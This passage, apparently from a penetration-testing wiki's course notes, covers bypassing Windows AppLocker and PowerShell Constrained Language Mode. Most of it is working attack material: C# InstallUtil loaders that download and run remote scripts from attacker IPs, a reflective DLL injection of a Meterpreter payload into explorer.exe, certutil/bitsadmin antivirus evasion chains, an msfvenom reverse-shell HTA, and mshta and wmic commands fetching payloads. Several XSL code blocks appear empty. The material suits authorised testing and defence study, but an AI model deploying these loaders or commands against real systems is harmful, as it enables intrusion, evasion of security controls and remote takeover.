* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
* &#039;&#039;&#039;Upload  ​Invoke-ReflectivePEInjection.ps1​ &#039;&#039;&#039; (Don&#039;t use the Github version, use the one from Offsec) to the Apache server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd = &amp;quot;$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.198/met.dll&#039;); (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.198/Invoke-ReflectivePEInjection.ps1&#039;) | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the above on target machine, use the command&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-4.png|thumb]]&lt;br /&gt;
[[File:2023-09-image-5.png|thumb]]&lt;br /&gt;
== AppLocker Bypass Using JScript ==&lt;br /&gt;
&lt;br /&gt;
=== JScript and HTA ===&lt;br /&gt;
&lt;br /&gt;
See also &amp;quot;Droppers&amp;quot; and HTA.&lt;br /&gt;
&lt;br /&gt;
* Microsoft HTML Applications (MSHTA) execute  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;​  files can have embedded JScript or VBS code.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  is commonly whitelisted because it&#039;s in  ​&amp;lt;code&amp;gt;C:\Windows\System32&amp;lt;/code&amp;gt;​  and is a signed Microsoft application.&lt;br /&gt;
&lt;br /&gt;
* Using  ​&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt;​  can bypass whitelisting as an alternative to  &amp;lt;code&amp;gt;​wscript.exe&amp;lt;/code&amp;gt;​ .&lt;br /&gt;
&lt;br /&gt;
Create a shortcut file on Windows target and create a &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file. For example, you can you use msfvenom&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443  -f hta-psh -o index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will most likely be stopped by Antivirus. So another technique is to use ProcessHollowing with XOR and DotNetToJscript, and then use HTML smuggeling.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How to get a meterpreter shell using Jscript and MSHTA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Step 1 - Create a Csharp process hollow or process injection or whatever suits you with XOR encryption to avoid detection.&lt;br /&gt;
&lt;br /&gt;
Step 2 - Then use DotNetToJs to generate a jscript file. You will have to serve the jscript file using hta.&lt;br /&gt;
&lt;br /&gt;
Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
